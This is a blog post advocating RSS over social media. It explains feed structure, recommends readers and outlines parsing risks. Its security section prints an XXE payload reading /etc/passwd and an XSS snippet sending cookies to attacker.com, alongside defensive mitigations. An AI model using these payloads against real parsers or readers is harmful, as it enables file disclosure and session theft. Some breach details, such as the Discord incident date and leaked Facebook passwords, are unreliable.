What is RSS and Why You Should Use It

RSS stands for Really Simple Syndication. It's a standardized XML-based format that websites use to publish their content in a machine-readable structure. Think of it as a personal news feed that you control completely, with no algorithms deciding what you see.

RSS offers several key advantages:

  • Direct access to new posts as soon as they're published
  • No ads, tracking, or algorithmic manipulation
  • Complete control over what you follow and how you consume it
  • Privacy by default, since most RSS readers don't require accounts or collect data

For casual reading, refer to RSS Made Easy.

The Risks of Not Using RSS

Relying on social media platforms or algorithmic feeds for information comes with significant downsides that extend far beyond convenience. When you depend on platforms like Facebook, X (Twitter), Instagram, TikTok, Discord, or Telegram to stay informed, you expose yourself to multiple risks that RSS eliminates entirely.

Data breaches and privacy violations: Social media platforms have suffered catastrophic security incidents in recent years. In 2021, over 530 million Facebook users had their names, phone numbers, account names, and passwords leaked to the public. LinkedIn suffered data scraping incidents in 2021 that exposed 700 million users. X (Twitter) experienced a breach in 2023 that exposed email addresses and other data for over 200 million users. The pattern is clear: social media platforms are prime targets for attackers, and user data is constantly at risk.

Discord and Telegram have also experienced significant security incidents. In March 2023, Discord disclosed a breach involving its third-party customer service provider 5CA, affecting approximately 70,000 users. The breach exposed government-issued ID photos used for age verification, names, email addresses, support message transcripts, and IP addresses. While Discord's own systems were not compromised, the incident occurred through 5CA's support environment, specifically targeting a Zendesk instance. This demonstrated the vulnerability of supply chain dependencies where third-party vendors can become attack vectors.

Following Telegram CEO Pavel Durov's arrest in France in August 2024, the platform dramatically changed its data-sharing policies. Before September 2024, Telegram only shared user data with law enforcement in terrorism cases, responding to just 14 requests from the U.S. government affecting 108 users in the first nine months of 2024. In late September 2024, Telegram updated its terms of service to share IP addresses and phone numbers with judicial authorities in cases of potential criminal conduct. In the fourth quarter of 2024 alone, Telegram provided U.S. agencies with IP addresses or phone numbers for 2,145 users stemming from 900 law enforcement requests. This policy shift fundamentally altered the privacy expectations users had when joining the platform.

Algorithmic manipulation and misinformation: Social media algorithms are designed to maximize engagement, not to inform you accurately. Research from recent years has demonstrated that engagement-optimizing algorithms systematically amplify polarizing and emotionally charged content while suppressing nuanced or educational material. Algorithms create echo chambers where you're primarily exposed to content that reinforces your existing biases, making it difficult to encounter diverse perspectives or challenge your assumptions.

Being uninformed: When you rely on algorithmic feeds, the platform decides what you see based on what keeps you scrolling, not what's important or accurate. Critical news can be buried while trivial or inflammatory content rises to the top. You become uninformed not because information doesn't exist, but because the algorithm filtered it out. RSS ensures you see every post from sources you've chosen to follow, in chronological order, with nothing hidden or prioritized by engagement metrics.

Loss of autonomy: Social media platforms track your behavior across the web, build detailed psychological profiles, and use that data to manipulate what you see. Your information diet is controlled by corporations whose incentives are fundamentally misaligned with your wellbeing. Research has shown that platforms often prioritize content that increases engagement even when it harms users, exploits their psychological vulnerabilities, or spreads misinformation.

Surveillance and tracking: Every interaction on social media platforms is logged, analyzed, and monetized. Your reading habits, interests, political views, and personal relationships are continuously monitored and sold to advertisers or data brokers. This data often ends up in massive databases vulnerable to breaches.

RSS eliminates these risks entirely. No algorithms manipulate what you see. No platform tracks your reading behavior. No corporate entity monetizes your attention. No massive database stores your personal information waiting to be breached. You simply receive updates from the sources you choose, in the order they're published, with complete privacy.

Limitations to Keep in Mind

RSS isn't perfect. Here are some trade-offs to consider:

  • Not all sites provide full articles in their feeds. Many only include summaries or excerpts.
  • Some websites don't offer RSS feeds at all, especially modern social media platforms.
  • Advanced features like comments, embedded videos, or interactive content often don't appear in feeds.

Despite these limitations, RSS remains one of the most efficient and privacy-respecting ways to stay informed without relying on social media platforms.

Technical Details: How RSS Works

Feed Structure

RSS feeds are XML documents that follow a specific schema. The two most common formats are RSS 2.0 and Atom 1.0, both of which define a hierarchical structure for content delivery.

A basic RSS 2.0 feed looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Example Blog</title>
    <link>https://example.com</link>
    <description>A blog about technology</description>
    <item>
      <title>Post Title</title>
      <link>https://example.com/post-1</link>
      <description>Post summary or full content</description>
      <pubDate>Mon, 06 Jan 2026 12:00:00 GMT</pubDate>
      <guid>https://example.com/post-1</guid>
    </item>
  </channel>
</rss>

Each element represents a single article or post. The feed reader parses this XML, extracts the relevant data (title, link, description, publication date), and displays it in a readable format.

How Feed Readers Work

RSS readers operate on a polling model. They periodically request the feed URL from the server (typically every 15-60 minutes), parse the XML response, and check for new items by comparing GUIDs (globally unique identifiers) or publication dates against locally stored data. If new items exist, they're added to the user's reading queue.

This process is entirely client-driven. The server doesn't push notifications or track which readers are subscribed. This architectural simplicity contributes to RSS's privacy advantages but also means feeds must be polled regularly, which can be inefficient at scale.

Content Delivery Models

RSS feeds typically use one of two content delivery approaches:

  1. Full content feeds: The entire article text is embedded in the or field. Readers can display the complete post without visiting the website.
  1. Summary feeds: Only a snippet or excerpt is provided. Users must click through to the original URL to read the full article.

From a publisher's perspective, summary feeds drive website traffic and allow for consistent ad impressions. From a reader's perspective, full content feeds offer better privacy and offline reading capabilities.

Security Considerations

While RSS itself is a simple format, the XML parsing required to process feeds introduces several security vulnerabilities. If you're developing applications that consume RSS feeds or running your own feed aggregator, understanding these risks is critical.

XML External Entity (XXE) Attacks

The most significant vulnerability in RSS parsing is XML External Entity (XXE) injection. Attackers can craft malicious XML that references external resources, potentially allowing them to read local files, execute arbitrary code, or conduct server-side request forgery (SSRF) attacks.

A malicious RSS feed might look like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ 
  <!ELEMENT title ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<rss version="2.0">
  <channel>
    <title>&xxe;</title>
    <item>
      <title>&xxe;</title>
    </item>
  </channel>
</rss>

When a vulnerable XML parser processes this feed, it attempts to resolve the external entity, potentially exposing sensitive server files like /etc/passwd wherever the feed title is displayed in the application.

Historical examples: Zapier discovered they were vulnerable to XXE attacks through their RSS feed parsing implementation using Python's LXML library with default settings. Multiple RSS readers including Tiny Tiny RSS and applications using Perl's XML::Feed module were found vulnerable to XXE exploitation.

Mitigation: If you're developing applications that parse RSS feeds, always disable external entity processing. For Python's LXML:

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse(feed_url, parser)

For PHP:

libxml_disable_entity_loader(true);

For Java:

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);

Cross-Site Scripting (XSS) in Feed Content

RSS feeds can be exploited to inject malicious scripts. When users consume compromised content, these scripts execute within their RSS readers or web-based aggregators, potentially allowing attackers to steal data, perform unauthorized actions, or redirect users to malicious sites.

This occurs when feed readers render HTML content from feeds without proper sanitization. An attacker could inject JavaScript in the description field:

<item>
  <description><![CDATA[
    <script>
      document.location='https://attacker.com/steal?cookie='+document.cookie;
    </script>
  ]]></description>
</item>

Mitigation: If you're building a feed reader, always sanitize HTML content before rendering. Strip or escape script tags, event handlers, and potentially dangerous attributes. Use a proper HTML sanitization library rather than attempting regex-based filtering.

Recent CVEs

While most RSS security issues stem from implementation flaws rather than protocol vulnerabilities, several noteworthy CVEs have emerged in recent years:

RSS-related vulnerabilities:

  • CVE-2023-4521 (2023): The Import XML and RSS Feeds WordPress plugin before version 2.1.5 allowed unauthenticated remote code execution via a web shell
  • CVE-2020-24148 (2020): SSRF vulnerability in the Import XML and RSS Feeds plugin via the data parameter in a moove_read_xml action
  • CVE-2023-38490 (2023): Kirby CMS versions before 3.9.6 were vulnerable to XXE attacks in their XML parsing functionality used for RSS feeds, due to the LIBXML_NOENT constant enabling external entity processing

Telegram vulnerabilities:

  • CVE-2024-7014 (2024): Known as "EvilVideo," this vulnerability in Telegram for Android versions 10.14.4 and earlier allowed attackers to send malicious APK files disguised as video files. When users attempted to play the "video," they were prompted to install malware. Patched in version 10.14.5 on July 11, 2024.

Discord-related vulnerabilities:

  • CVE-2024-23739 (2024): Discord for macOS version 0.0.291 and earlier allowed remote attackers to execute arbitrary code via misconfigured RunAsNode and enableNodeClilnspectArguments settings
  • CVE-2021-29465 (2021): Discord-Recon bot versions 0.0.3 and prior allowed remote attackers to overwrite files on the system, potentially leading to remote code execution
  • CVE-2021-29466 (2021): Discord-Recon bot versions 0.0.3 and prior allowed remote attackers to read local files from the server

Client-Side Risks for End Users

For typical RSS reader users (as opposed to developers), the security risks are lower but still present:

  1. Privacy leakage: Some RSS readers automatically fetch images or external resources, which can reveal your IP address and reading habits to third parties. Look for readers with "fetch images on demand" options.
  1. Malicious links: Feed items can contain links to phishing sites or malware. Treat links in RSS feeds with the same skepticism you'd apply to email or social media.
  1. Reader vulnerabilities: RSS reader software can have buffer overflow, format string, or other vulnerabilities that attackers could exploit when the reader processes a malicious feed. Keep your reader updated to the latest version.

Best Practices for Safe RSS Consumption

  • Use well-maintained, actively developed RSS readers from reputable sources
  • Keep your reader software updated
  • Subscribe only to feeds from trusted sources
  • Consider using readers with built-in security features like content sanitization
  • For web-based readers, ensure they use HTTPS connections
  • Be cautious clicking links in feed items, especially from unfamiliar sources

How to Use RSS: A Practical Guide

1. Choose an RSS Reader

This is the application that aggregates and displays all your feeds. For Mac and iPhone users, I recommend NetNewsWire. It's free, open source, fast, and respects your privacy. It also syncs across devices using iCloud.

Other solid options include:

  • Feedbin (web-based, paid)
  • Feedly (web-based, freemium)
  • Newsboat (terminal-based for Linux users)
  • Miniflux (self-hosted, open source)

2. Find RSS Feed URLs

Many websites hide their RSS links, but feeds are usually available at standard locations like https://example.com/feed or https://example.com/rss. Look for small RSS icons in the footer or header of websites.

For my site, you can find the feed here: https://me.mohamedzaam.com/feed

Some browsers and browser extensions can automatically detect RSS feeds on any page you visit, making discovery easier.

3. Add Feeds to Your Reader

In NetNewsWire or any RSS reader, simply click "Add Feed" and paste the URL. The reader will automatically fetch new posts whenever they're published. Most readers check for updates every few minutes to an hour.

4. Start Reading

Every new post appears in your reader as soon as it's published. You can skim headlines, read full articles, bookmark items for later, or mark everything as read. Most readers let you organize feeds into folders by topic or priority.

Modern Uses of RSS

RSS isn't just for blogs. Its flexibility makes it valuable across many use cases:

YouTube Channels: Follow creators without logging into YouTube or being subjected to recommendation algorithms. Each channel has an RSS feed you can subscribe to directly.

Podcasts: Most podcasts distribute episodes via RSS. Subscribe in your podcast app without creating accounts or sharing listening data with streaming platforms.

News Aggregation: Combine multiple news sources into one feed to scan headlines efficiently. This is particularly useful for security news, where staying current across multiple sources is critical.

Job Boards: Track new job postings without manually checking multiple websites. Many job sites and company career pages offer RSS feeds.

Product and Price Alerts: Some e-commerce sites and deal trackers provide RSS feeds for new products, restocks, or price drops.

Research and Security Updates: Academic journals, preprint servers, security bulletins, and CVE databases often provide RSS feeds for new publications and vulnerability disclosures. Examples include:

  • NVD (National Vulnerability Database) feeds
  • CISA Known Exploited Vulnerabilities feed
  • Vendor-specific security advisories (Microsoft, Red Hat, etc.)
  • GitHub security advisories

Automation: Power users can integrate RSS feeds into scripts, dashboards, or monitoring tools for custom alerts and analytics.

Practical Tips for Getting Started

Handling Partial Feeds

Some sites only provide summaries in their RSS feeds to drive traffic to their websites. If your reader supports it, you can click through to read the full article in your browser. Alternatively, some RSS readers can fetch full articles automatically using services like Full-Text RSS or built-in article extraction features.

Subscribing to YouTube Channels

YouTube channels provide RSS feeds, though they're not prominently advertised. The feed URL format is:

https://www.youtube.com/feeds/videos.xml?channel_id=CHANNEL_ID

You can find the channel ID in the page source or by using browser extensions designed for this purpose. This lets you follow uploads without logging in or being tracked by YouTube's recommendation system.

Organizing Multiple Subscriptions

As your subscriptions grow, organization becomes important:

  • Group feeds by category: security news, development blogs, personal sites, podcasts, etc.
  • Mark high-priority feeds as favorites to quickly scan critical updates
  • Use tags or folders if your reader supports them for additional clarity
  • Consider separate folders for daily-check feeds versus weekly or occasional reads

Staying Efficient

RSS works best with consistent, brief check-ins:

  • Set aside 10-15 minutes once or twice daily to scan your feeds
  • Mark items as read liberally. If a headline doesn't interest you, skip it.
  • Archive or unsubscribe from feeds that consistently produce content you skip
  • Use search and filtering features to find specific topics across all your feeds

Conclusion

RSS might seem like old technology, but that's precisely why it works so well today. In an era of algorithmic feeds, tracking, and attention-capture design, RSS offers something rare: a straightforward, privacy-respecting, user-controlled way to stay informed.

For anyone concerned about privacy, digital autonomy, or simply wanting to consume information efficiently, RSS is an essential tool. It puts you back in control of your information diet without requiring you to trust platforms with your data or attention.

While the protocol has security considerations (particularly for developers building feed parsers), these risks are well-understood and easily mitigated with proper implementation practices. For end users choosing established, maintained readers, RSS remains one of the safest ways to consume web content.

The alternative, relying on social media platforms, exposes you to data breaches affecting hundreds of millions of users, algorithmic manipulation of your beliefs and emotions, constant surveillance and tracking, and systematic misinformation. Platforms like Discord and Telegram, despite marketing themselves as secure communication tools, have experienced breaches exposing government IDs and demonstrated how privacy policies can shift dramatically under legal pressure.

RSS eliminates these risks entirely while giving you direct access to the information you actually want to see.

References

Data Breaches and Social Media Security

  1. Discord 2023 Breach: Discord. "Update on a Security Incident Involving Third-Party Customer Service." March 2023. https://discord.com/press-releases/update-on-security-incident-involving-third-party-customer-service
  1. Telegram Policy Change: Dark Reading. "Sharing of Telegram User Data Surges After CEO Arrest." January 7, 2025. https://www.darkreading.com/cybersecurity-operations/sharing-telegram-user-data-surged-after-ceo-arrest
  1. Telegram Policy Update: CoinDesk. "Telegram to Provide More User Data to Governments After CEO's Arrest." September 23, 2024. https://www.coindesk.com/policy/2024/09/23/telegram-to-provide-more-user-data-to-government-after-ceos-arrest
  1. Telegram Data Sharing Statistics: Gizmodo. "After Founder's Arrest, Telegram Began Sharing Info on Thousands More Users With Police." January 7, 2025. https://gizmodo.com/after-founders-arrest-telegram-began-sharing-info-on-thousands-more-users-with-police-2000546992

RSS Security and CVEs

  1. CVE-2024-7014 (Telegram EvilVideo): GitHub Advisory Database. "EvilVideo vulnerability allows sending malicious apps disguised as videos in Telegram for Android." https://github.com/advisories/GHSA-6hr2-22jp-cfqq
  1. WordPress RSS Plugin CVEs: National Vulnerability Database entries for CVE-2023-4521, CVE-2020-24148, CVE-2023-38490
  1. Discord CVEs: CVEdetails.com. "Discord: Security vulnerabilities, CVEs." https://www.cvedetails.com/vulnerability-list/vendor_id-23159/Discord.html